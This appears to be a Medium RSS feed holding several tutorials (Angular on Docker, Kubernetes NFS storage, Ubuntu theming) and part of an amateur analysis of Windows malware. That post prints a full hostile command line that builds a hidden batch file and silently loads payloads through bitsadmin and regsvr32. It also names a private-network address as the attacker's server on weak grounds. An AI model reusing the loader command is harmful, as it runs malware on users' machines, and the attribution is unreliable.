conf/default.conf /etc/nginx/conf.d/</pre><pre>RUN rm -rf /usr/share/nginx/html/*</pre><pre>COPY dist /usr/share/nginx/html</pre><pre>CMD [&quot;nginx&quot;, &quot;-g&quot;, &quot;daemon off;&quot;]</pre><p>The above configurations will build an <a href="https://www.nginx.com/">Nginx server</a> image serving your application on port 80.</p><p><strong>Step2: Create Nginx Configuration File.<br></strong>In the above DockerFile configuration (line 3), Docker is expecting a configuration file(default.conf)<strong> </strong>of which we need to create and pass to the docker image. This will be useful when we need to modify the Nginx configurations.</p><p>In the project root folder create this folder <strong>./conf</strong></p><pre>mkdir ./conf</pre><p>Proceed to create the Nginx configuration file</p><pre>default.conf</pre><p>The contents of the file (feel free to modify):</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/5dcc887e9ec7c8282fd22daf58516c84/href">https://medium.com/media/5dcc887e9ec7c8282fd22daf58516c84/href</a></iframe><p>At this point, the image configurations are done and we are ready to build the image.</p><p><strong>Step 3: Build the docker image</strong></p><p>In this step, we are going to build the angular application docker image. First, we will need to make sure we have built the application (This process can be included in the CI).</p><pre>ng build --prod</pre><p>To build the image, run this command (where &lt;APP_NAME&gt; is your application name):</p><pre>docker build -t &lt;APP_NAME&gt; .</pre><p><strong>Step 4: Run the docker image</strong></p><p>In the DockerFile, we specified <strong>port 80 </strong>as the port the application will be running (<strong>Exposed</strong>), and in order for us to access it outside the running Image (container), we will need to expose the application externally and for this, we will <a href="https://en.wikipedia.org/wiki/Port_forwarding">port-forward</a> the application on port <strong>5100</strong> (you can choose any other port that is not currently used).</p><p>To get the docker image running, run this command:</p><pre>docker run -p 5100:80 &lt;DOCKER_IMAGE&gt;</pre><p>To view the application, go to this address:</p><pre><a href="http://localhost:5100/">http://localhost:5100</a></pre><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FHqJmOe2M1Af9C%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FHqJmOe2M1Af9C%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FHqJmOe2M1Af9C%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="290" frameborder="0" scrolling="no"><a href="https://medium.com/media/4f1f421a5ddc9b0db1d862d35c517eb9/href">https://medium.com/media/4f1f421a5ddc9b0db1d862d35c517eb9/href</a></iframe><h4>Run Image In Production</h4><p>Now that you have your docker image built and tested you want to run it in production. There are a bunch of ways you can get the image running:</p><p><a href="https://github.com/docker/compose"><strong>1. docker-compose</strong></a></p><p>This is by far the easiest way to get your images up and running but will not recommend for scale. <a href="https://docs.docker.com/compose/production/">read_more</a></p><p><strong>2. Kubernetes<br></strong>This container orchestration tool will enable you to easily manage and auto-scale your applications and is by far my favorite.</p><p>There are other container orchestration tools (<a href="https://phoenixnap.com/blog/container-orchestration-tools">List</a>). Feel free to set them up and explore them.</p><p>Hopefully, you found this helpful and your reading was accompanied by laughter. I do believe education should be fun. Feel free to leave any comments or suggestions, or some claps.</p><figure><a href="https://www.buymeacoffee.com/GeoffDeveloper"><img alt="" src="https://cdn-images-1.medium.com/max/400/1*Ql4uAvVggfVc2TDPuVxw1Q.png" /></a></figure><p>Much love️!</p><p><em>You can follow me on </em><a href="https://twitter.com/GeoffreyMahugu"><em>Twitter</em></a><em> or if you prefer to work with me, you can get my contacts at </em><a href="https://geoffreymahugu.com/"><em>Portfolio Link.</em></a></p><p><em>More content at </em><a href="http://plainenglish.io/"><em>plainenglish.io</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=61ee6e84006" width="1" height="1" alt=""><hr><p><a href="https://javascript.plainenglish.io/angular-10-on-docker-to-production-61ee6e84006">How to Dockerize your Angular 10 App for Production</a> was originally published in <a href="https://javascript.plainenglish.io/">JavaScript in Plain English</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kubernetes Bare-Metal Dynamic Storage Allocation]]></title>
            <link>https://geoffreymahugu.medium.com/kubernetes-bare-metal-dynamic-storage-allocation-e5311ac45909?source=rss-d7e5274e68a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/e5311ac45909</guid>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[cloud-computing]]></category>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[software-development]]></category>
            <dc:creator><![CDATA[Geoffrey Mahugu]]></dc:creator>
            <pubDate>Wed, 19 Aug 2020 22:49:32 GMT</pubDate>
            <atom:updated>2021-03-25T21:28:11.219Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-B2_LfdzUDXfdI7LQLbYqQ.png" /></figure><p>In this documentation, we are going to set up Kubernetes dynamic storage provisioning on Bare-Metal using an NFS server.</p><h4>Prerequisites.</h4><ol><li>Kubernetes Cluster with at least 2 nodes</li><li>Single instance NFS Server</li><li>Basic Kubernetes and Networking Knowledge</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*qDSh3Q59LTT1eqgNxiHRlQ.png" /><figcaption>Kubernetes Nfs Server Architecture</figcaption></figure><h4>Why Do this?</h4><p>When working with storage its best to automate most of the complexities and let robots do what they do best, reduce our margins of ERROR.</p><p>These are some pros to moving to an external storage that dynamically provisions storage.</p><ol><li><strong>Dynamic Storage Allocation:</strong></li></ol><p>i) No longer have to provision storage ahead of time</p><p>ii) No longer need to know which node the application needs to run and thus match it with the storage through node-affinity.</p><p><strong>2. Scalability:</strong> The process of auto-scaling is solved with the decoupling of the storage from the application.</p><p><strong>3. High Storage Availability: </strong>By having external storage separate from the Kubernetes environment, you can ensure availability and redundancy in the storage system. Also, the system will not succumb to failure on node failure.</p><p><strong>4. Applications portability</strong>: By decoupling the storage from the application pod, you can have a more flexible application (Goodby to node-affinity rules)</p><p><strong>5</strong>.<strong> Seamless Application Installs: </strong>For Helm installations and any other process that requires dynamic PVC, having dynamic storage allocation will save you a lot of headaches.</p><p><strong>For this purpose we will need to:</strong></p><ol><li>Set-up an NFS server<br>- We will have to set up an external NFS server that will then offer storage. (The <strong>NFS Server</strong>: Will use <a href="https://en.wikipedia.org/wiki/Network_File_System">UNIX NFS protocol</a> to mount persistent volumes.)</li><li>Set-Up Client Provisioner<br>- This is where we create a Kubernetes deployment on the cluster to ensure dynamic provisioning of storage.</li></ol><h4>Step 1: Set-up an NFS server</h4><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/0dd5dd7fa9fcd6156f48a5a812d42a7c/href">https://medium.com/media/0dd5dd7fa9fcd6156f48a5a812d42a7c/href</a></iframe><h3>2. Set-Up Client Provisioner</h3><p>In this step, we are going to deploy a single instance of NFS-provisioner in the Kubernetes cluster.<br>This will then be followed by the deployment of a <a href="https://kubernetes.io/docs/concepts/storage/storage-classes/">Storage Class</a> that will ensure the attachment of persistent volume claims.</p><h4>Step 1: Deploy Access Control Rules</h4><p>Create a <strong>rbac.yml </strong>file and copy the contents below into the file.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/bd06f2dc3726393565bad24b8ed1db54/href">https://medium.com/media/bd06f2dc3726393565bad24b8ed1db54/href</a></iframe><p>To deploy the configurations, run this command:</p><blockquote>kubectl apply -f ./rbac.yml</blockquote><h4>Step 2: Create Storage Class</h4><p>This storage class will be used to provision storage to the persistent volume claims that get created by pods.</p><p>Create a <strong>class.yml </strong>file and copy the contents below into the file:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/c2cd014d793cb0392ad43b6be1ea741d/href">https://medium.com/media/c2cd014d793cb0392ad43b6be1ea741d/href</a></iframe><p>To deploy the class configurations, run:</p><blockquote>kubectl apply -f ./class.yml</blockquote><h4>Step 3: Create Nfs Provisioner Deployment</h4><p>We will then proceed to install a single instance of the NFS storage provisioner. This pod will be responsible for the automation of memory allocation and the mounting of volumes.</p><p>Create a <strong>deployment.yml </strong>file and copy the contents below into the file:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/4502263b6c8352da241c55cc78f597ab/href">https://medium.com/media/4502263b6c8352da241c55cc78f597ab/href</a></iframe><p>To deploy the provisioner configurations, run:</p><blockquote>kubectl apply -f ./deployment.yml</blockquote><h4>Step 4: Test Dynamic Storage</h4><p>For this step, we will create a <a href="https://kubernetes.io/docs/concepts/storage/persistent-volumes/#persistentvolumeclaims">Persistent Volume Claim(PVC)</a> and wait for it to get attached to dynamic storage allocate to it.</p><p>Create a <strong>test-pvc.yml</strong> file and copy the contents below into the file:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/a09535a2250946e3ecd14286037b75ca/href">https://medium.com/media/a09535a2250946e3ecd14286037b75ca/href</a></iframe><p>To create the volume claim, run:</p><blockquote>kubectl apply -f ./test-pvc.yml</blockquote><h4><strong>Conclusion</strong></h4><p>Hope you have learned something new and seen the advantages of having dynamic storage allocation for your Kubernetes deployments.<br> <br>Feel free to leave a comment.</p><figure><a href="https://www.buymeacoffee.com/GeoffDeveloper"><img alt="" src="https://cdn-images-1.medium.com/max/400/1*Ql4uAvVggfVc2TDPuVxw1Q.png" /></a></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e5311ac45909" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Changing your Ubuntu 18 theme ]]></title>
            <link>https://geoffreymahugu.medium.com/changing-your-ubuntu-18-theme-2e29f1c41071?source=rss-d7e5274e68a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/2e29f1c41071</guid>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[ux]]></category>
            <category><![CDATA[ubuntu]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[user-experience]]></category>
            <dc:creator><![CDATA[Geoffrey Mahugu]]></dc:creator>
            <pubDate>Tue, 07 May 2019 15:15:43 GMT</pubDate>
            <atom:updated>2019-05-07T15:15:43.984Z</atom:updated>
            <content:encoded><![CDATA[<p>Let’s face it, Ubuntu isn’t the prettiest girl on the block. She may have all the ideal features, but she ain’t pretty 💃🏻</p><p>In this article, I’m going to show you how you can install themes and customize your PC. This is what I finally ended up with 👇</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qWalK5EKAPBPqtWHCsMIlw.png" /><figcaption>This will the final look</figcaption></figure><h4>Why change your theme? 🤔</h4><h4>1. Options/Varieties</h4><p>Apart from the default <a href="https://www.gnome.org/"><strong>gnome</strong></a> theme, there are a lot more other themes that you can choose from. No need to stick to the default generic theme that comes with your <a href="https://www.ubuntu.com/">ubuntu os.</a></p><h4>2. Productivity</h4><p>With theme editing, you will be able to modify your <a href="https://en.wikipedia.org/wiki/User_interface"><strong>user interface </strong></a>to enhance your productivity. Simple things like having your clock at the right spot or notifications pop up from a certain position of the screen can go a long way in enhancing your productivity.</p><h4>3. Beauty and Aesthetic</h4><p>I’m a firm believer in beauty and doing things from your 💜. By editing your theme to your liking, it will inspire you to be able to create extraordinary things</p><h3>Let’s get to it</h3><p>This is how your default theme looks like. Not inspiring right? 😐</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*SmtTiImxoxT7gGaZnJIhDw.jpeg" /><figcaption>Default gnome theme</figcaption></figure><h4>1. Installing <a href="https://www.gnome-look.org/">Gnome-Tweak</a></h4><p>The first thing to do is to <strong>update</strong> our local packages then <strong>upgrade</strong> them to the latest versions. You can do both by running this command:</p><pre>$ sudo apt-get update &amp;&amp; sudo apt-get upgrade</pre><p>Gnome-tweaks will provide us with a user interface that helps us: modify the appearance of our operating system, change font-sizes, customize our keyboard and mouse, amongst other features.</p><p>This is the command that lets you install it:</p><pre>$ sudo apt install gnome-tweak-tool</pre><p>Let’s launch the app 🚀:</p><pre>$ gnome-tweaks</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*NHx0WhB9by81AM-fiqrCIQ.png" /><figcaption>Gnome-Tweaks</figcaption></figure><h4>2. Install Gnome-Tweaks Extensions</h4><p>Before we can install the themes, we need a few more things. Those will include extensions for the gnome tweaks.</p><p>let’s go to <a href="https://extensions.gnome.org/">https://extensions.gnome.org/</a></p><p>This ☝️ is where you will be able to get all the gnome extensions. However, you will be met by this 👇error message:</p><blockquote>We cannot detect a running copy of GNOME on this system, so some parts of the interface may be disabled. See <a href="https://extensions.gnome.org/about/#no-detection">our troubleshooting entry</a> for more information.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VLxwIZR3QE9UdcCYsnOaNA.png" /></figure><p>Don’t panic 😌, this can be solved by a matter of installing the gnome chrome extension from this <a href="https://chrome.google.com/webstore/detail/gnome-shell-integration/gphhapmejobijbbhgpjhcjognlahblep?hl=en">Download Link</a> or install it from the terminal with this command:</p><pre>$ sudo apt install gnome-shell-extensions</pre><p>After installing, you will need to <strong>restart</strong> the gnome-tweaks.</p><p>Then after, you will be able to install any extension from the terminal with a simple command. To know which packages are available for installation, we can do a search with this command:</p><pre><em>$ </em>sudo apt search gnome-shell-extension</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YC8ioJP9V8X3Wo8OB6VCEA.png" /><figcaption>gnome-search</figcaption></figure><p>Then install a selected extension e.g:</p><pre>$ sudo apt install gnome-shell-extension-better-volume</pre><p>After installing the extensions, you will be able to do more customizations with your gnome-tweaks. Here are some of the extensions that we will need:</p><p>i. <a href="https://extensions.gnome.org/extension/19/user-themes/"><strong>User Themes</strong></a>: This extension will help us load themes from our PC.</p><p>Themes are stored in the folder ~/.themes while icons are stored in the ~/.icons folder. <strong><em>Create them if they are not available.</em></strong></p><p>ii. <a href="https://extensions.gnome.org/extension/708/panel-osd/"><strong>Panel OSD</strong></a><strong> : </strong>This extension will help us move the location of our notifications to the bottom right corner, thus reducing destruction from popup notifications.</p><pre><em>$ </em>sudo apt search gnome-shell-extension</pre><p>You can install more extensions at <a href="https://extensions.gnome.org/">gnome-extensions</a></p><h4>3. Installing themes</h4><p>All the themes and icons can be found at the <a href="https://www.gnome-look.org/">official gnome-looks site</a>. There are many beautiful themes that you can choose from, however, I will be using my favourite theme (<a href="https://www.gnome-look.org/p/1214931/">Flat Remix</a>) as a demo to show you how you can install yours.</p><p>go to: <a href="https://www.gnome-look.org/p/1214931/">https://www.gnome-look.org/p/1214931/</a></p><p>Select the files section and download one of the packages:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oaSlo4P-Bu3ROzPmrO9VIA.png" /></figure><p>After downloading your theme. Go to this directory:</p><pre>$ ~/.themes</pre><p><strong><em>If the file does not exist, create it.</em></strong></p><p>Copy the downloaded zipped folder from your directory ~/.downloads and unpack it in the folder ~/.themes. Ensure the files are unpacked correctly in such a way like:</p><pre>$ ~/.themes/Flat-Remix-GTK-Dark/index.theme</pre><p>Ensuring that after the name of the folder that contains the theme, the index.themefile can be accessed, otherwise, the theme will not be picked up and thus will not work. Close your gnome-tweak then launch it again(<strong>restart</strong>).</p><p>Let’s go the Appearance section then select on the <strong>theme that we had installed</strong>. On the shell section, choose one of the options from the theme.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZBWHqIVyg2w6TKapPZ9BaA.png" /><figcaption>Select your theme</figcaption></figure><h4>4. Installing icons</h4><p>All icons can be found at the <a href="https://www.gnome-look.org/browse/cat/132/">official gnome site</a>. For this demo, we will be using the Flat Remix Icons: <a href="https://www.gnome-look.org/p/1012430/">Download Link</a></p><p>After downloading the icons, copy the zipped file to this location:</p><pre>$ ~/.icons</pre><p><strong><em>If the directory doesn’t exist, create it</em></strong>. As before, make sure the files are unpacked correctly.</p><p>Restart your gnome-tweaks then on the <strong>Appearance section</strong>, select the icon theme that you downloaded; in my case, that will be the <a href="https://www.gnome-look.org/browse/cat/132/">Flat Remix Icon.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5pS-j6np4CkcIhgPS05zuQ.png" /></figure><p>We are almost there 😺</p><h3>Customizing your Terminal</h3><p>The default terminal is o.k but we can do much better than o.k. For this, we are going to install <a href="https://github.com/robbyrussell/oh-my-zsh"><strong>oh-my-zsh</strong></a><strong> </strong>by <a href="http://twitter.com/robbyrussell">@robbyrussell</a>.</p><blockquote>‘Oh My Zsh will not make you a 10x developer…but you might feel like one.’ — : <a href="https://github.com/robbyrussell/oh-my-zsh">oh-my-zsh</a></blockquote><p>Installing oh-my-zsh:</p><pre>$ sudo apt install zsh</pre><pre>$ sh -c &quot;$(wget <a href="https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh">https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh</a> -O -)&quot;</pre><p>Now that you have it installed, let’s make it our default terminal. We can do that by running this command:</p><pre>$ chsh -s $(which zsh)</pre><p>In order for us to install beautiful fonts 🎨 onto our zsh terminal, we will have to install <a href="https://github.com/powerline/fonts">Powerline fonts</a>. To do so, run this command:</p><pre>$ sudo apt install fonts-powerline</pre><p>After installing, let’s change the theme to a more soothing one by <a href="https://github.com/agnoster/agnoster-zsh-theme"><strong>agnoster</strong></a>. For this, we will require to edit this file:</p><pre>$ vi ~/.zshrc</pre><pre>Then Edit ZSH_THEME =”robbyrussell” 👉 ZSH_THEME=”agnoster”</pre><p>After saving your file, reload your terminal to pick up the new updates and you are done. 😍</p><p>Just in case you don’t see any of the changes, try to restart your PC. The wallpaper I used can be found at <a href="https://wallroom.io/img/5120x2880/bg-7643d83.jpg">Download Link</a></p><p>Follow me on Twitter at <a href="https://twitter.com/GeoffreyMahugu">@GeoffreyMahugu</a>.</p><p>Have fun Theme Editing, and feel free to share your final results 😀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2e29f1c41071" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Deep dive into a windows malware rabbit hole ]]></title>
            <link>https://medium.com/hackernoon/deep-dive-into-a-windows-malware-rabbit-hole-8a771d01c98?source=rss-d7e5274e68a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/8a771d01c98</guid>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[life-lessons]]></category>
            <category><![CDATA[short-story]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Geoffrey Mahugu]]></dc:creator>
            <pubDate>Tue, 04 Dec 2018 22:06:02 GMT</pubDate>
            <atom:updated>2021-03-25T21:30:11.727Z</atom:updated>
            <content:encoded><![CDATA[<h3>I fell down a malware rabbit hole 👾</h3><p>For most people when they see<em> </em><strong><em>‘Threat found</em>’</strong> notification, they simply let their trusted antivirus to take care of it. Well, being a curious programmer, I decided to have a look at the quarantined virus.</p><blockquote>This the journey as i <strong>decipher </strong>a malware that i found on my PC and get to the real identity of my <strong>Hackers</strong>. So come along for the ride.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jhs17a23C3-U2R86VKjxSg.jpeg" /></figure><h4><strong>Where it all started.</strong></h4><p>What happens when you want a piece of software/music but have no cash to spare?</p><p>You get it on <a href="https://thepiratebay3.org/">thepiratebay3.org</a> 👍</p><p>No, just kidding, you should never download any software/music from piratebay or any other torrent sites 😀</p><h4>For this is what will happen to you</h4><p>I started getting persistent notifications of ‘<strong><em>Threat found’. </em></strong>Immediately I stopped the installation and did a <strong><em>quick scan</em></strong>. After that, I updated windows defender and made a <strong><em>full scan</em></strong>.</p><blockquote>3 days later and i’m still getting ‘<strong><em>Threat found’ notification</em></strong>.</blockquote><p>That was odd as I always did <strong><em>daily updates</em></strong> and after that, I would do a quick scan. So I did what any other <strong><em>regular Joe</em></strong> would do and had another quick scan, then did a full scan and finally had an <strong><em>offline scan</em></strong> but still got the same notification, ‘Windows defender has found a new threat’.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FZKZiW6GSx8eSA%2Ftwitter%2Fiframe&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FZKZiW6GSx8eSA%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FZKZiW6GSx8eSA%2F200.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="193" frameborder="0" scrolling="no"><a href="https://medium.com/media/17d62d079cacc41c17a9de66c083f9f7/href">https://medium.com/media/17d62d079cacc41c17a9de66c083f9f7/href</a></iframe><h4><strong>What next?</strong></h4><p>Being a curious programmer, I decided to have a look at the malware’s source code in the <strong><em>windows defender quarantine section</em></strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9-5gmOW0MG69P3dor5JaRQ.jpeg" /></figure><p>Hmm... That’s interesting 🤔, how comes windows have not yet been able to solve this issue and the <strong><em>source code</em></strong> is right there in front of my eyes.</p><blockquote>CmdLine: \Device\HarddiskVolume4\Windows\System32\cmd.exe “cmd.exe” /c start /min cmd /c “(echo @echo off &gt; “C:\ProgramData\a1e62b52–3bf5–0\x.bat” &amp; echo bitsadmin /complete a1e62b52–3bf5–0 ^&gt; nul &gt;&gt; “C:\ProgramData\a1e62b52–3bf5–0\x.bat” &amp; echo bitsadmin /cancel a1e62b52–3bf5–0 ^&gt; nul &gt;&gt; “C:\ProgramData\a1e62b52–3bf5–0\x.bat” &amp; echo if exist “C:\ProgramData\a1e62b52–3bf5–0\a1e62b52–3bf5–0.d” goto q &gt;&gt; “C:\ProgramData\a1e62b52–3bf5–0\x.bat” &amp; for /f %i in (‘dir /a:-d /b /w “C:\ProgramData\a1e62b52–3bf5–0\*.tmp”’) do (echo start /b /min regsvr32.exe /s /n /i:”!=47468f40a1e62b53 “ “C:\ProgramData\a1e62b52–3bf5–0\%i” &gt;&gt; “C:\ProgramData\a1e62b52–3bf5–0\x.bat”)) &gt; nul &amp; echo :q &gt;&gt; “C:\ProgramData\a1e62b52–3bf5–0\x.bat” &amp; echo start /b /min regsvr32.exe /s /n /i:”!=47468f40a1e62b53 “ “C:\ProgramData\a1e62b52–3bf5–0\a1e62b52–3bf5–0.d” &gt;&gt; “C:\ProgramData\a1e62b52–3bf5–0\x.bat” &amp; echo del “C:\ProgramData\a1e62b52–3bf5–0\x.bat” ^&amp; exit &gt;&gt; “C:\ProgramData\a1e62b52–3bf5–0\x.bat” &amp; “C:\ProgramData\a1e62b52–3bf5–0\x.bat””</blockquote><h4>First Clue</h4><blockquote>\cmd.exe “cmd.exe” /c start /min cmd /</blockquote><p>This code would result in the script starting a small<strong><em> </em></strong><a href="https://en.wikipedia.org/wiki/CMD"><strong><em>command prompt</em></strong></a> to run a script then close on completion.</p><blockquote>This happens so fast that <strong><em>you would hardly notice it.</em></strong></blockquote><h4><strong>Second Clue: (</strong>Bitsadmin<strong>)</strong></h4><p>Is this some sort of admin or is the script accessing my <strong><em>admin privileges</em></strong> and spying on me? Sending my data to some <strong><em>remote server</em></strong> in Russia? Or is my <strong><em>data being sold</em></strong> to some Indian scammers in Mumbai?</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F9rjKLsynBodhiIovdD%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2F9rjKLsynBodhiIovdD%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2F9rjKLsynBodhiIovdD%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="299" frameborder="0" scrolling="no"><a href="https://medium.com/media/9f1a3add83e77060b49753721e2ad4be/href">https://medium.com/media/9f1a3add83e77060b49753721e2ad4be/href</a></iframe><p><em>Let&#39;s keep going…</em></p><h4><strong>Third Clue</strong></h4><blockquote>&amp; echo if exist “C:\ProgramData\a1e62b52–3bf5–0\a1e62b52–3bf5–0.d”</blockquote><p>Hmm.. seems like the script is looking for the <strong><em>existence of a file </em></strong>in this directory</p><blockquote>C:\ProgramData\a1e62b52–3bf5–0\a1e62b52–3bf5–0.d</blockquote><p>The next piece of code is:</p><blockquote>goto q &gt;&gt; “C:\ProgramData\a1e62b52–3bf5–0\x.bat”</blockquote><p>This implies: on the existence of the file, proceed to the directory below.</p><blockquote>“C:\ProgramData\a1e62b52–3bf5–0\x.bat”</blockquote><h4>Fourth Clue</h4><blockquote>&amp; for /f %i in (‘dir /a:-d /b /w “C:\ProgramData\a1e62b52–3bf5–0\*.tmp</blockquote><p>The script looks into the directory below:</p><blockquote>C:\ProgramData\a1e62b52–3bf5–0\</blockquote><p>Then loops over all the files looking for any file with the extension <strong><em>*tmp</em></strong></p><p>Then runs this code:</p><blockquote>do (echo start /b /min regsvr32.exe</blockquote><p>This is where it starts a small command prompt and runs this program: <a href="https://support.microsoft.com/en-us/help/249873/how-to-use-the-regsvr32-tool-and-troubleshoot-regsvr32-error-messages"><strong>regsvr32.exe</strong></a></p><blockquote>regsvr32.exe is a windows program that’s used to register and unregister OLE controls, such as DLLs and ActiveX controls in the Windows Registry.</blockquote><p>So let&#39;s go to the file location.</p><p>Guess what we find?<strong> BIT3D39.tmp</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F7t5IhlTVmxqBG%2Ftwitter%2Fiframe&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2F7t5IhlTVmxqBG%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2F7t5IhlTVmxqBG%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="325" frameborder="0" scrolling="no"><a href="https://medium.com/media/df11bd26df62a29eaedc30fecfc96e2f/href">https://medium.com/media/df11bd26df62a29eaedc30fecfc96e2f/href</a></iframe><p><em>Let&#39;s keep going…</em></p><h4><strong>Fifth Clue (Opening the Trojan file)</strong></h4><p>Let&#39;s have a look at how glorified hackers write malware code 😎.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/5fbe352c45b35fdb6137992e1f5001a9/href">https://medium.com/media/5fbe352c45b35fdb6137992e1f5001a9/href</a></iframe><p>In <a href="https://www.w3schools.com/html/html_intro.asp"><strong>HTML</strong></a><strong>!!!</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FVg0JstydL8HCg%2Ftwitter%2Fiframe&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FVg0JstydL8HCg%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FVg0JstydL8HCg%2Fgiphy.gif&amp;key=d04bfffea46d4aeda930ec88cc64b87c&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="217" frameborder="0" scrolling="no"><a href="https://medium.com/media/d29d272e1dffd243ad1b82d17605cfc5/href">https://medium.com/media/d29d272e1dffd243ad1b82d17605cfc5/href</a></iframe><p>Let&#39;s break it down, should be fun 😉</p><h4><strong>Sixth Clue (metadata)</strong></h4><blockquote>&lt;meta http-equiv=pragma content=nocache&gt;</blockquote><blockquote>&lt;META HTTP-EQUIV=Expires CONTENT=-1&gt;</blockquote><p>This code snippet means that the <strong>hackers</strong> don’t want to <a href="https://en.wikipedia.org/wiki/Cache_(computing)"><strong>cache</strong></a> any data on your computer’s memory. The reason may be because they need to run the latest script every time the <strong><em>malware updates.</em></strong></p><h4><strong>Seventh Clue (</strong> auto-submit function<strong>)</strong></h4><blockquote>autosubmit()</blockquote><p>This <strong><em>JavaScript</em></strong> code is placed at the header and runs every time the document is ready 😬.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/239b2f9018ecf31234bf3f2f963ef353/href">https://medium.com/media/239b2f9018ecf31234bf3f2f963ef353/href</a></iframe><h4><strong>Eighth Clue</strong></h4><blockquote><a href="http://172.16.16.16/24online/webpages/client.jsp">http://172.16.16.16/24online/webpages/client.jsp</a></blockquote><p>When the script runs, it <strong><em>submits </em></strong>the form to this <a href="https://en.wikipedia.org/wiki/Application_programming_interface"><strong><em>API</em></strong></a><strong><em> </em></strong>endpoint by making a <a href="https://en.wikipedia.org/wiki/POST_(HTTP)"><strong>POST</strong></a><strong> </strong>request. By looking at the endpoint you can know that the hacker’s <strong><em>back-end</em></strong> is written in Java programming language (<strong>.jsp</strong>). This would actually mean that the script is either:</p><p>i. Uploading my data to the hacker’s remote server or</p><p>ii. My computer is in constant connection to the hacker’s server.</p><iframe 